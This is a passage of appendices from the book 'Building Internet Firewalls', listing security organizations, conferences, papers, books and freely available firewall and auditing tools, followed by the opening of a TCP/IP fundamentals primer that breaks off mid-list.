  • Sponsorship of local and special technical groups relevant to the UNIX environment. The chartering of the System Administrators Guild as a Special Technical Group within USENIX is the most recent.

  • comp.org.usenix, the association's newsgroup.

USENIX sponsors a variety of conferences and symposia, many of which are related to or touch on network and system security. The proceedings of past events are also available. You can contact USENIX:

  • By telephone: +1 510 528 8649

  • By email: office@usenix.org

A.5.5 System Administrators Guild (SAGE)

http://www.sage.usenix.org/

From the SAGE WWW page:

SAGE stands for the Systems Administrators Guild (don't ask what happened to the E). It is a subgroup of the USENIX Association. SAGE is devoted to the Advancement of System Administration as a distinct profession, within the realm of computer science but with similarities to facilities management and other service industries.

SAGE answers the widely felt need for an organization dedicated to advancing the profession of systems administration. SAGE brings together system administrators to:

  • Recruit talented individuals to the profession

  • Share technical problems and solutions

  • Establish standards of professional excellence while providing recognition for those who attain them

  • Promote work that advances the state-of-the-art or propagates knowledge of good practice in the profession

SAGE cosponsors the annual LISA and SANS conferences. For more information about SAGE, contact the USENIX office:

  • By telephone: +1 510 528 8649

  • By email: office@usenix.org

Previous: A.4 Newsgroups | Building Internet Firewalls | Next: A.6 Conferences
A.4 Newsgroups | Book Index | A.6 Conferences


[Appendix A] A.6 Conferences

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: A.5 Response Teams and Other Organizations Appendix A
Resources 		Next: A.7 Papers

A.6 Conferences

Although there are many other conferences, these are the ones you will probably find the most interesting from a firewalls and Internet security point of view.

A.6.1 USENIX Association Conferences

http://www.usenix.org/events/

The USENIX Association and SAGE sponsor a number of good conferences every year, including the USENIX Security Symposium, the USENIX System Administration (LISA) Conference, and the USENIX Technical Conferences. For information about any of them, contact USENIX:

  • By telephone: +1 510 528-8649

  • By email: office@usenix.org

A.6.1.1 USENIX UNIX Security Symposium

The USENIX UNIX Security Symposium is one of the best venues for learning about practical solutions to UNIX and network security issues. From the announcement for the 1995 symposium:

The goal of this symposium is to bring together security practitioners, researchers, system administrators, systems programmers, and others with an interest in computer security as it relates to networks and the UNIX operating system.

A.6.1.2 USENIX System Administration (LISA) Conference

Jointly sponsored by SAGE and USENIX, the USENIX System Administration (LISA) Conference is the premier conference for UNIX system and network administrators. It covers a wide range of topics, including host and network security. If you are a UNIX system or network administrator, and you only get to go to one conference a year, this should be it. From the announcement for the 1995 conference:

The USENIX Systems Administration (LISA) Conference is widely recognized as the leading technical conference for system administrators. Historically, LISA stood for "Large Installation Systems Administration," back in the days when having a large installation meant having over 100 users, over 100 systems, or over one gigabyte of disk storage. Today, the scope of the LISA conference includes topics of interest to system administrators from sites of all sizes and kinds. What the conference attendees have in common is an interest in solving problems that cannot be dealt with simply by scaling up well-understood solutions appropriate to a single machine or a small number of workstations on a LAN.

A.6.1.3 USENIX Technical Conferences

The main USENIX Technical Conferences are less focused on practical security issues than the Security or LISA conferences, but you can still learn a lot and make many valuable contacts there. If you have an opportunity to attend one, you should certainly consider it.

A.6.2 UNIX System Administration, Networking, and Security (SANS) Conference

This conference is sponsored by the Open Systems Conference Board, with the cooperation of SAGE and USENIX, and is usually held in Washington, DC. According to the conference documentation, this annual event:

...is a technical conference offering system administrators, security administrators, and network managers a unique forum in which to gain up-to-date information about immediately useful tools and techniques, in addition to sharing ideas and experiences and network with peers.

For information, contact the conference office:

  • By telephone: +1 719/599-4303

  • By email: sans@fedunix.org

A.6.3 Internet Society Symposium on Network and Distributed System Security (SNDSS)

http://www.isoc.org/

The Internet Society sponsors an annual symposium on network security. From the 1995 symposium announcement:

The symposium will bring together people who are building software and/or hardware to provide network and distributed system security services. The symposium is intended for those interested in the more practical aspects of network and distributed system security, focusing on actual system design and implementation, rather than on theory. We hope to foster the exchange of technical information that will encourage and enable the Internet community to apply, deploy, and advance the state of the available security technology.

For more information, contact the Internet Society:

  • By telephone: +1 703/648- 9888

  • By email: membership@isoc.org

Previous: A.5 Response Teams and Other Organizations | Building Internet Firewalls | Next: A.7 Papers
A.5 Response Teams and Other Organizations | Book Index | A.7 Papers


[Appendix A] A.7 Papers

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: A.6 Conferences Appendix A
Resources 		Next: A.8 Books

A.7 Papers

This section contains a list of papers about firewalls, security attacks, and related topics. It is by no means an exhaustive list, but it does contain references to some of the papers that we find the most interesting. To get most of these, as well as many other papers, consult the extensive collections available from the Telstra and COAST WWW pages described earlier in this appendix.

The list below does not include papers that describe topics that are adequately described in this book, nor does it include papers that simply describe software (such as Tripwire, TCP Wrapper, etc.) that are mentioned in this book and cited in Appendix B, Tools; up-to-date papers about tools are ordinarily included with the tools themselves. The published versions of the papers are out of date, so you will do better to get the papers or documentation distributed with the software.

Bellovin, Steve, smb@research.att.com. "Packets Found on an Internet." Computer Communications Review. 23(3): 26-31. July 1993.

Describes some of the stranger and more malevolent packets seen by one of AT&T's gateways.

ftp://ftp.research.att.com/dist/smb/packets.ps

Bellovin, Steve, smb@research.att.com. "There Be Dragons." Proceedings of the Third USENIX UNIX Security Symposium. USENIX Association. Baltimore. September 14-16, 1992.

This paper describes some of the probes and attacks against one of AT&T's gateways.

ftp://research.att.com/dist/internet_security/dragon.ps.Z

Cheswick, Bill, ches@research.att.com. "An Evening With Berferd in Which a Cracker Is Lured, Endured, and Studied." Proceedings of the Winter 1992 USENIX Technical Conference. USENIX Association. San Francisco. January 20-24, 1992.

Describes AT&T's experiences with one particular cracker who walked right into a trap and never knew he was the mouse being toyed with by the cat. The best part of the story isn't in the paper, however: how they got him to finally go away. The cracker was in the Netherlands, and they were sure they knew who it was, but there were no diplomatic channels through which they could get the Dutch police to do anything about it (what the cracker was doing wasn't illegal in the Netherlands, at least not at the time). Finally, one of the Dutch system administrators they'd been working with throughout the investigation got frustrated, called the cracker's mother, and the problem went away.

ftp://research.att.com/dist/internet_security/berferd.ps.Z

Eichlin, Mark W., and Jon A. Rochlis, "With Microscope and Tweezers: An Analysis of the Internet Virus of November 1988." Proceedings, IEEE Symposium on Research in Security and Privacy. Pages 326-345. Oakland, CA. May 1989.

A detailed dissection of the Morris Internet worm (this paper's authors prefer "Internet virus") of 1988: what it was, how it worked, what it did, and so on, as well as a discussion of the response.

ftp://athena-dist.mit.edu/pub/virus/mit.PS

Farmer, Dan, and Wietse Venema. "Improving the Security of Your Site by Breaking Into It."

A guide from the authors of COPS and SATAN (Dan) and TCP Wrapper, portmap, and chrootuid (Wietse) to testing your own security before attackers do it for you.

ftp://ftp.win.tue.nl/pub/security/admin-guide-to-cracking.101.Z

Hess, David K., David R. Safford, and Udo W. Pooch, David-Hess@net.tamu.edu. "A UNIX Network Protocol Security Study: Network Information Service." Texas A&M University.

An interesting analysis of the security weaknesses in the NIS/YP protocol, which is one of the fundamental RPC-based services.

ftp://net.tamu.edu/pub/security/TAMU/NIS_Paper.ps.gz

Holbrook, P, and J. Reynolds. RFC1244: Site Security Handbook. July 1991.

This RFC is a guide to establishing a security policy for your site. From the introduction:

This handbook is a guide to setting computer security policies and procedures for sites that have systems on the Internet. This guide lists issues and factors that a site must consider when setting their own policies. It makes some recommendations and gives discussions of relevant areas.

ftp://ftp.internic.net/rfc/rfc1244.txt.Z
http://ds.internic.net/rfc/rfc1244.txt

Note that the Internet RFCs ("Requests for Comments") are the defining documents for almost all Internet protocols and services. Start with file rfc-index.txt; this is the index to the rest of the documents.

ftp://ftp.internic.net/rfc/
http://ds.internic.net/

Ranum, Marcus (maintainer), mjr@v-one.com. "Internet Firewalls Frequently Asked Questions (FAQ)."

It is updated and posted to the Firewalls mailing list (firewalls@greatcircle.com) on a regular basis.

http://www.clark.net/pub/mjr/pubs/fwfaq
http://www.greatcircle.com/firewalls/FAQ
ftp://ftp.greatcircle.com/pub/firewalls/FAQ

Safford, David R., Douglas Lee Shales, and David K. Hess, David-Hess@net.tamu.edu. "The TAMU Security Package: An Ongoing Response to Internet Intruders in an Academic Environment." Texas A&M, University Supercomputer Center.

A fascinating account of how fast things can go to hell in a handbasket when dealing with an attack. Due to rapid escalation of coordinated attacks against Texas A&M, the university was forced to go from no firewall at all (and never really having thought about one) to having to design, build from scratch, and install a rather significant firewall over the course of less than two weeks. This paper describes the situation and genesis of the TAMU security package, which includes the Tiger security analysis and Drawbridge packet-filtering systems discussed elsewhere in this book.

ftp://net.tamu.edu/pub/security/TAMU/tamu-security-overview.ps.gz

Previous: A.6 Conferences | Building Internet Firewalls | Next: A.8 Books
A.6 Conferences | Book Index | A.8 Books


[Appendix A] A.8 Books

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: A.7 Papers Appendix A
Resources 		Next: B. Tools

A.8 Books

This section describes a number of books that are useful as references or for further understanding of particular topics.

Cheswick, Bill and Steve Bellovin. Firewalls and Internet Security. Reading, MA: Addison-Wesley, 1994. ISBN 0-201-63357-4.

This was the first book published on firewalls, describing the authors' experiences building a series of firewalls for AT&T Bell Labs. The book tends to be good on theory and background, but weak on implementation details; it tells you how they build firewalls, but you probably can't duplicate their tools and methods without the same kind of backing they have (AT&T Bell Labs). Even so, it's a classic in the field.

Comer, Douglas E. Internetworking with TCP/IP. Second Edition. Englewood Cliffs, NJ: Prentice Hall, 1991. ISBN 0-13-468505-9.

This book provides a good introduction to the nuts and bolts of TCP/IP networking. It discusses the basics about what packets look like and how routing works, etc. It also includes an introduction to some of the higher-level protocols such as SMTP and FTP.

Garfinkel, Simson. PGP: Pretty Good Privacy, Sebastopol, CA: O'Reilly & Associates, 1995, ISBN 1-56592-098-8.

This is an excellent guide to the very popular program, PGP, which lets you encrypt and apply digital signatures to your messages. In addition to technical details, it contains the fascinating, behind-the-scenes stories of Phil Zimmermann's development of PGP, electronic privacy, and cryptography export and patents in the United States.

Garfinkel, Simson and Gene Spafford. Practical UNIX and Internet Security. Second Edition. Sebastopol, CA: O'Reilly & Associates, 1996. ISBN 1-56592-148-8.

This is a very good guide to UNIX host security. Simson Garfinkel is also the author of PGP: Pretty Good Privacy. Gene Spafford is now one of the principals of the COAST project at Purdue University (see references to COAST above).

Hunt, Craig. TCP/IP Network Administration. Sebastopol, CA: O'Reilly & Associates, 1992. ISBN 0-937175-82-X.

This book is an excellent system administrator's overview of TCP/IP networking (with a focus on UNIX systems), and a very useful reference to major UNIX networking services and tools such as BIND (the standard UNIX DNS server) and Sendmail (the standard UNIX SMTP server). Our Appendix C, TCP/IP Fundamentals, which talks about the underlying TCP/IP protocols, is adapted from the first two chapters of this book.

Liu, Cricket, Jerry Peek, Russ Jones, Bryan Buus, and Adrian Nye. Managing Internet Information Services, Sebastopol, MA: O'Reilly & Associates, 1994. ISBN 1-56592-062-7.

This is an excellent guide to setting up and managing Internet services such as the World Wide Web, FTP, Gopher, and more, including discussions of the security implications of these services.

Nemeth, Evi, Garth Snyder, Scott Seebass, and Trent R. Hein. UNIX System Administration Handbook. Second Edition. Englewood Cliffs, NJ: Prentice Hall , 1995. ISBN 0-13-151051-7.

This is the standard reference guide to practical UNIX system administration issues. It includes good, real-world coverage of thorny issues like backups. It also includes a CD-ROM full of tools for UNIX system administrators.

Schneier, Bruce. Applied Cryptography. New York: John Wiley & Sons, 1994. ISBN 0-471-59756-2.

This is an extremely comprehensive book about cryptography algorithms and techniques. It covers the Data Encryption Standard, the RSA algorithm, and all of the other private and public key algorithms, with mathematical details for all of them. Source code is available.

Stallings, William. Network and Internetwork Security. Englewood Cliffs, NJ: Prentice Hall, 1995. ISBN 0-02-415483-0.

This is a good academic text on network and internetwork protocols, standards, and security features. It covers a variety of encryption products and standards, as well as the underpinnings of network architectures.

Stevens, Richard W. TCP/IP Illustrated, Volume 1: The Protocols. Reading, MA: Addison-Wesley, 1994. ISBN 0-201-63346-9.

This is a good guide to the nuts and bolts of TCP/IP networking. Its main strength is that it provides traces of the packets going back and forth as the protocols are actually in use, and uses this to illustrate the discussions of the protocols.

Stoll, Cliff. The Cuckoo's Egg. Garden City, NJ: Doubleday, 1989. ISBN 0-671726889.

This is a fascinating true story about a hunt for crackers on the Internet. It gives you an appreciation of the time and effort it takes to track an attack against your site, and it also includes a good chocolate chip cookie recipe.

Previous: A.7 Papers | Building Internet Firewalls | Next: B. Tools
A.7 Papers | Book Index | B. Tools


[Appendix B] Tools

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: A.8 Books Appendix B Next: B.2 Analysis Tools

B. Tools

Contents:
Authentication Tools
Analysis Tools
Packet Filtering Tools
Proxy Systems Tools
Daemons
Utilities

This appendix describes some of the tools and packages available on the Internet that you might find useful in building and maintaining your firewall. Many of these tools are mentioned in this book. Although this software is freely available, some of it is restricted in various ways by the authors (e.g., it may not be permitted to be used for commercial purposes or be included on a CD-ROM, etc.) or by the U.S. government (e.g., if it contains cryptography, it can't ordinarily be exported outside the United States). Carefully read the documentation files that are distributed with the packages.

Although we have used most of the software listed here, we can't take responsibility for ensuring that the copy you get will work properly and won't cause any damage to your system. As with any software, test it before you use it.

As we've mentioned, the Computer Operations, Audit, and Security Technology (COAST) project at Purdue University provides a valuable service to the Internet community by maintaining a current and well-organized repository of the most important security tools and documents on the Internet. The repository is available on host coast.cs.purdue.edu via anonymous FTP; start in the/pub/aux directory for listings of the documents and tools available. Many of the descriptions of tools in the list below are drawn from COAST's tools.abstracts file, and we gratefully acknowledge their permission to use this information. To find out more about COAST, point a WWW viewer at their Web page:

http://www.cs.purdue.edu/coast/coast.html

B.1 Authentication Tools

The tools in this category provide support for various types of authentication. See Chapter 10, Authentication and Inbound Services for information about different authentication approaches.

B.1.1 TIS Internet Firewall Toolkit (FWTK)

ftp://ftp.tis.com/pub/firewalls/toolkit/

The TIS Internet Firewall Toolkit (FWTK), from Trusted Information Systems, Inc., is a very useful, well-designed, and well-written set of programs you might find useful for authentication and other purposes. It includes:

  • An authentication server that provides several mechanisms for supporting nonreusable passwords (described in Chapter 10).

  • An access control program, netacl (described in Chapter 5, Bastion Hosts).

  • Proxy servers for a variety of protocols (FTP, HTTP, Gopher, rlogin, Telnet, and X11) (described in Chapter 7, Proxy Systems).

  • A generic proxy server for simple TCP-based protocols using one-to-one or many-to-one connections, such as NNTP (described in Chapter 7).

  • A wrapper (the smap package) for SMTP servers such as Sendmail to protect them from SMTP-based attacks (described in Chapter 8, Configuring Internet Services).

  • A wrapper for inetd-started servers such as telnetd and ftpd to control where they can be contacted from (much like the TCP Wrapper package described later in this appendix)

The toolkit is designed so that you can pick and choose only the pieces you need; you don't have to install the whole thing. The pieces you do install share a common configuration file, however, which makes managing configuration changes somewhat easier.

Some parts of the toolkit (the server for the non-reusable password system, for example) require a Data Encryption Standard (DES) library in some configurations. If your system doesn't already have one (look for a file named libdes.a in whatever directories code libraries are kept on your system), you can get one from:

ftp://ftp.psy.uq.oz.au/pub/DES/

TIS maintains a mailing list for discussions of improvements, bugs, fixes, and so on among people using the toolkit; Send email to fwall-users-request@tis.com to subscribe to this list.

B.1.2 Kerberos

ftp://athena-dist.mit.edu/pub/kerberos/
ftp://coast.cs.purdue.edu/pub/tools/unix/kerberos/

Kerberos was developed by Project Athena at the Massachusetts Institute of Technology. From the Kerberos Frequently Asked Questions (FAQ) file:

Kerberos is a network authentication system for use on physically insecure networks, based on the key distribution model presented by Needham and Schroeder. It allows entities communicating over networks to prove their identity to each other while preventing eavesdropping or replay attacks. It also provides for data-stream integrity (detection of modification) and secrecy (preventing unauthorized reading) using cryptography systems such as DES.

Previous: A.8 Books | Building Internet Firewalls | Next: B.2 Analysis Tools
A.8 Books | Book Index | B.2 Analysis Tools


[Appendix B] B.2 Analysis Tools

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: B.1 Authentication Tools Appendix B
Tools 		Next: B.3 Packet Filtering Tools

B.2 Analysis Tools

The tools in this category let you audit your system. Some perform audits and check for well-known security holes; others establish databases of checksums of all of the files in a system (to allow you to watch for changes to those files); some do both.

B.2.1 COPS

ftp://coast.cs.purdue.edu/pub/tools/unix/cops

COPS, by Dan Farmer, is the Computer Oracle and Password System, a system that checks UNIX systems for common security problems (such as unsafe permissions on key files and directories).

B.2.2 Tiger

ftp://net.tamu.edu/pub/security/TAMU/
ftp://coast.cs.purdue.edu/pub/tools/unix/tiger

Tiger, by Doug Schales of Texas A&M University (TAMU), is a set of scripts that scan a UNIX system looking for security problems, in the same fashion as Dan Farmer's COPS. Tiger was originally developed to provide a check of UNIX systems on the A&M campus that users wanted to be accessible from off campus. Before the packet filtering in the firewall would be modified to allow off-campus access to the system, the system had to pass the Tiger checks.

B.2.3 Tripwire

ftp://coast.cs.purdue.edu/pub/COAST/Tripwire

Tripwire, by Gene H. Kim and Gene Spafford of the COAST project at Purdue University, is a file integrity checker: a utility that compares a designated set of files and directories against information stored in a previously generated database. Added or deleted files are flagged and reported, as are any files that have changed from their previously recorded state in the database. Run Tripwire against system files on a regular basis. If you do, the program will spot any file changes when it next runs, giving system administrators information to enact damage control measures immediately.

B.2.4 SATAN

ftp://ftp.win.tue.nl/pub/security/satan.tar.Z

SATAN, by Wietse Venema and Dan Farmer, is the Security Administrator Tool for Analyzing Networks. (If you don't like the name, it comes with a script named repent that changes all references from SATAN to SANTA: Security Administrator Network Tool for Analysis.) Despite the authors' strong credentials in the network security community (Wietse is from Eindhoven University in the Netherlands and is the author of the TCP Wrapper package and several other network security tools; Dan is the author of COPS), SATAN is a somewhat controversial tool. Why? Because, unlike COPS, Tiger, and other tools that work from within a system, SATAN probes the system from the outside, just as an attacker would. The unfortunate consequence of this is that someone (such as an attacker) can run SATAN against any system, not just those he already has access to. According to the authors:

SATAN was written because we realized that computer systems are becoming more and more dependent on the network, and at the same becoming more and more vulnerable to attack via that same network.

SATAN is a tool to help systems administrators. It recognizes several common networking-related security problems, and reports the problems without actually exploiting them.

For each type or problem found, SATAN offers a tutorial that explains the problem and what its impact could be. The tutorial also explains what can be done about the problem: correct an error in a configuration file, install a bugfix from the vendor, use other means to restrict access, or simply disable service.

SATAN collects information that is available to everyone on with access to the network. With a properly-configured firewall in place, that should be near-zero information for outsiders.

B.2.5 ISS

ftp://coast.cs.purdue.edu/pub/tools/unix/iss.shar.Z

ISS, by Christopher William Klaus, is the Internet Security Scanner. When ISS is run from another system and directed at your system, it probes your system for software bugs and configuration errors commonly exploited by crackers. Like SATAN, it is a controversial tool; less so, however, in that it is older and less capable than SATAN, and it was written by someone who (at the time it was released) was relatively unknown in the network-security community. (Much of the controversy about SATAN concerns whether or not the authors "sold out," as opposed to any technical or philosophical point.)

Previous: B.1 Authentication Tools | Building Internet Firewalls | Next: B.3 Packet Filtering Tools
B.1 Authentication Tools | Book Index | B.3 Packet Filtering Tools


[Appendix B] B.3 Packet Filtering Tools

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: B.2 Analysis Tools Appendix B
Tools 		Next: B.4 Proxy Systems Tools

B.3 Packet Filtering Tools

These tools allow you to add packet filtering to a PC or UNIX system.

B.3.1 screend

ftp://ftp.vix.com/pub/vixie/
ftp://coast.cs.purdue.edu/pub/tools/unix/screend

screend, which was originally written by Jeff Mogul at Digital Equipment Corporation and is now maintained by Paul Vixie, is a package that lets you add packet filtering capabilities to the kernel of BSD-based UNIX systems.

B.3.2 Drawbridge

ftp://net.tamu.edu/pub/security/TAMU/
ftp://coast.cs.purdue.edu/pub/tools/unix/TAMU/

Drawbridge, by Texas A&M University, is a package that lets you turn a PC (one that is running MS-DOS and has two Ethernet or two FDDI boards) into an IP packet filter. There are three programs: Filter, Filter Compiler, and Filter Manager. Filter is the program that runs on the PC itself. Filter Compiler and Filter Manager are support programs that run on a UNIX box, and allow you to compile the filter lists into the form needed by the PC, and then download them over the Internet to the PC. (Alternatively, you can transfer them to the PC on floppy, if you can write an MS-DOS floppy disk from your UNIX box.)

B.3.3 KarlBridge

ftp://coast.cs.purdue.edu/pub/tools/dos/kbridge.zip

The KarlBridge package, by Doug Karl, is a program that runs on a PC with two Ethernet boards. It turns the PC into a packet-filtering bridge.

Previous: B.2 Analysis Tools | Building Internet Firewalls | Next: B.4 Proxy Systems Tools
B.2 Analysis Tools | Book Index | B.4 Proxy Systems Tools


[Appendix B] B.4 Proxy Systems Tools

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: B.3 Packet Filtering Tools Appendix B
Tools 		Next: B.5 Daemons

B.4 Proxy Systems Tools

The tools in this category let you add proxy capabilities to your system. See the discussion in Chapter 7.

B.4.1 TIS Internet Firewall Toolkit (FWTK)

See the discussion of the TIS FWTK in the "Authentication Tools" section of this appendix.

B.4.2 SOCKS

ftp://ftp.nec.com/pub/security/socks.cstc/
ftp://coast.cs.purdue.edu/pub/tools/unix/socks/

SOCKS, originally written by David Koblas and Michelle Koblas and now maintained by Ying-Da Lee, is a proxy-building toolkit that allows you to convert standard TCP client programs to proxied versions of those same programs. There are two parts to SOCKS: client libraries and a generic server. Client libraries are available for most UNIX platforms, as well as for Macintosh and Windows systems. The generic server runs on most UNIX platforms and can be used by any of the client libraries, regardless of their platform.

B.4.3 UDP Packet Relayer

ftp://coast.cs.purdue.edu/pub/tools/unix/udprelay-0.2.tar.gz

This package, by Tom Fitzgerald, is a proxy system that provides much the same functionality for UDP-based clients that SOCKS provides for TCP-based clients.

Previous: B.3 Packet Filtering Tools | Building Internet Firewalls | Next: B.5 Daemons
B.3 Packet Filtering Tools | Book Index | B.5 Daemons


[Appendix B] B.5 Daemons

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: B.4 Proxy Systems Tools Appendix B
Tools 		Next: B.6 Utilities

B.5 Daemons

When you are building your firewall, you may wish to replace your standard daemons with the daemons described below.

B.5.1 wuarchive ftpd

ftp://ftp.wustl.edu/packages/wuarchive-ftpd/
ftp://ftp.uu.net/networking/archival/ftp/wuarchive-ftpd/

The wuarchive FTP daemon offers many features and security enhancements, such as per-directory message files shown to any user who enters the directory, limits on number of simultaneous users, and improved logging and access control. These enhancements are specifically designed to support anonymous FTP.

B.5.2 CERN httpd

ftp://www.w3.org/pub/src/WWWDaemon.tar.Z

CERN is the European Laboratory for Particle Physics, in Switzerland, and is "the birthplace of the World-Wide Web." The CERN HTTP daemon is one of several common HTTP servers on the Internet. What makes it particularly interesting from a firewalls point of view are its proxying and caching capabilities. (We describe these in Chapter 7.)

B.5.3 portmap

ftp://coast.cs.purdue.edu/pub/tools/unix/portmap.shar

portmap, from Wietse Venema, is a portmapper replacement which offers access control in the style of the TCP Wrapper program, described in the next section.

B.5.4 gated

ftp://gated.cornell.edu/pub/gated/

gated is a routing daemon that allows you to specify the hosts from which you'll accept routing information.

B.5.5 Andrew File System (AFS)

http://www.transarc.com/
http://www.cis.ohio-state.edu/hypertext/faq/usenet/afs-faq/faq.html

AFS is a network filesystem that is more suitable for use across wide area networks such as the Internet than traditional LAN-oriented network filesystem protocols such as NFS. From the AFS document:

AFS is a distributed filesystem that enables cooperating hosts (clients and servers) to efficiently share filesystem resources across both local area and wide area networks.

AFS is marketed, maintained, and extended by Transarc Corporation.

AFS is based on a distributed file system originally developed at the Information Technology Center at Carnegie-Mellon University.

Previous: B.4 Proxy Systems Tools | Building Internet Firewalls | Next: B.6 Utilities
B.4 Proxy Systems Tools | Book Index | B.6 Utilities


[Appendix B] B.6 Utilities

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: B.5 Daemons Appendix B
Tools 		Next: C. TCP/IP Fundamentals

B.6 Utilities

A number of additional utilities provide services you'll find useful when you build and maintain your firewall.

B.6.1 TIS Internet Firewall Toolkit (FWTK)

See the discussion of the TIS FWTK in the "Authentication Tools" section of this appendix.

B.6.2 TCP Wrapper

ftp://ftp.win.tue.nl/pub/security/
ftp://coast.cs.purdue.edu/pub/tools/unix/tcp_wrappers/

With this package, from Wietse Venema, you can monitor and filter incoming requests for servers started by inetd. These servers include FTP, Telnet, finger, rlogin, rsh, SMTP, HTTP, and others.

B.6.3 chrootuid

ftp://ftp.win.tue.nl/pub/security/
ftp://coast.cs.purdue.edu/pub/tools/unix/chrootuid

chrootuid, from Wietse Venema, makes it easy to run a network service at a low privilege level and with restricted filesystem access. The program can be used to run Gopher, HTTP, WAIS, and other network daemons in a minimal environment: the daemons have access only to their own directory tree and run under a low-privileged userid. The arrangement greatly reduces the impact of possible security problems in daemon software.

B.6.4 SWATCH

ftp://sierra.stanford.edu/pub/sources/swatch.tar.gz
ftp://coast.cs.purdue.edu/pub/tools/unix/swatch/

SWATCH, by Todd Atkins of Stanford University, is the Simple Watcher. It monitors log files created by syslog, and allows an administrator to take specific actions (such as sending an email warning, paging someone, etc.) in response to logged events and patterns of events.

B.6.5 trimlog

ftp://coast.cs.purdue.edu/pub/tools/unix/trimlog

trimlog, by David A. Curry, is a program that helps you manage log files. It reads a configuration file to determine which files to trim, how to trim them, how much they should be trimmed, and so on. The program helps keep your logs from growing until they consume all available disk space.

Previous: B.5 Daemons | Building Internet Firewalls | Next: C. TCP/IP Fundamentals
B.5 Daemons | Book Index | C. TCP/IP Fundamentals


[Appendix C] TCP/IP Fundamentals

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: B.6 Utilities Appendix C Next: C.2 A Data Communications Model

C. TCP/IP Fundamentals

Contents:
Introduction to TCP/IP
A Data Communications Model
TCP/IP Protocol Architecture
Network Access Layer
Internet Layer
Transport Layer
Application Layer
Addressing, Routing, and Multiplexing
The IP Address
Internet Routing Architecture
The Routing Table
Protocols, Ports, and Sockets

You need a good understanding of TCP/IP to be able to follow the details of the discussions of packet filtering in this book. If you are not already familiar with TCP/IP, we strongly recommend that you read at least this appendix. This appendix is adapted from Chapters 1 and 2 of TCP/IP Network Administration by Craig Hunt (O'Reilly & Associates, 1992). See that book for complete information about administering TCP/IP-based services.

C.1 Introduction to TCP/IP

The name TCP/IP refers to an entire suite of data communications protocols. The suite gets its name from two of the protocols that belong to it: the Transmission Control Protocol and the Internet Protocol. Although there are many other protocols in the suite, TCP and IP are certainly two of the most important.

C.1.1 TCP/IP Features

The popularity of the TCP/IP protocols on the Internet did not grow rapidly just because the protocols were there, or because military agencies mandated their use. They met an important need (worldwide data communication) at the right time, and they had several important features that allowed them to meet this need. These are:

  • Open protocol standards, freely available and developed independently from any specific computer hardware or operating system. Because it is so widely supported, TCP/IP is ideal for uniting different hardware and software, even if you don't communicate over the Internet.

  • Independence from specific physical network hardware. This allows TCP/IP to integrate many different kinds of networks. TCP/IP can be run over an Ethernet, a token ring, a dial-up line, an X.25 net, and virtually any other kind of physical transmission media.

  • A common addressing scheme that allows any TCP/IP device to uniquely address any other device in the entire network, even if the network is as large as the worldwide Internet.

  • Standardized high-level protocols for consistent, widely available user services.

C.1.2 Protocol Standards

The open nature of TCP/IP protocols requires publicly available standards documents. All protocols in the TCP/IP protocol suite are defined in one of three Internet standards publications. A number of the protocols have been adopted as Military Standards (MIL STD). Others were published as Internet Engineering Notes (IEN) - though the IEN form of publication has now been abandoned. But most information about TCP/IP protocols is published as Requests for Comments (RFC). RFCs contain the latest versions of the specifications of all standard TCP/IP protocols.[1] As the name "Request for Comments" implies, the style and content of these documents is much less rigid than most standards documents. RFCs contain a wide range of interesting and useful information, and are not limited to the formal specification of data communications protocols.

[1] Interested in finding out how Internet standards are created? Read The Internet Standards Process, RFC 1310.

As a network system administrator, you will no doubt read many of the RFCs yourself. Some contain practical advice and guidance that is simple to understand. Other RFCs contain protocol implementation specifications defined in terminology that is unique to data communications.

Previous: B.6 Utilities | Building Internet Firewalls | Next: C.2 A Data Communications Model
B.6 Utilities | Book Index | C.2 A Data Communications Model


[Appendix C] C.2 A Data Communications Model

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: C.1 Introduction to TCP/IP Appendix C
TCP/IP Fundamentals 		Next: C.3 TCP/IP Protocol Architecture

C.2 A Data Communications Model

To discuss computer networking, it is necessary to use terms that have special meaning in data communications. Even other computer professionals may not be familiar with all the terms in the networking alphabet soup. As is always the case, English and computer-speak are not equivalent (or even necessarily compatible) languages. Although descriptions and examples should make the meaning of the networking jargon more apparent, sometimes terms are ambiguous. A common frame of reference is necessary for understanding data communications terminology.

C.2.1 OSI Reference Model

An architectural model developed by the International Standards Organization (ISO) is frequently used to describe the structure and function of data communications protocols. This architectural model, called the Open Systems Interconnect (OSI) Reference Model, provides a common reference for discussing communications. The terms defined by this model are well understood and widely used in the data communications community - so widely used, in fact, that it is difficult to discuss data communications without using OSI's terminology.

The OSI Reference Model contains seven layers that define the functions of data communications protocols. Each layer of the OSI model represents a function performed when data is transferred between cooperating applications across an intervening network. Figure 13.5 identifies each layer by name and provides a short functional description for it. Looking at this figure, you can see that the protocols are like a pile of building blocks stacked one upon another. Because of this appearance, the structure is often called a stack or protocol stack.

Figure 13.5: The OSI Reference Model

A layer does not define a single protocol; it defines a data communications function that may be performed by any number of protocols. Therefore, each layer may contain multiple protocols, each providing a service suitable to the function of that layer. For example, a file transfer protocol and an electronic mail protocol both provide user services and both are part of the Application Layer. Every protocol communicates with its peer. A peer is an implementation of the same protocol in the equivalent layer on a remote system (i.e., the local file transfer protocol is the peer of a remote file transfer protocol). Peer level communications must be standardized for successful communications to take place. In the abstract, each protocol is only concerned with communicating to its peer; it does not care about the layer above or below it.

However, there must also be agreement on how to pass data between the layers on a single computer, because every layer is involved in sending data from a local application to an equivalent remote application. The upper layers rely on the lower layers to transfer the data over the underlying network. Data is passed down the stack from one layer to the next, until it is transmitted over the network by the Physical Layer protocols. At the remote end, the data is passed up the stack to the receiving application. The individual layers do not need to know how the layers above and below them function; they only need to know how to pass data to them. Isolating network communications functions in different layers minimizes the impact of technological change on the entire protocol suite. New applications can be added without changing the physical network, and new network hardware can be installed without rewriting the application software.

Although the OSI model is useful, the TCP/IP protocols don't match its structure exactly. Therefore, in our discussions of TCP/IP we use the layers of the OSI model in the following way:

Application Layer

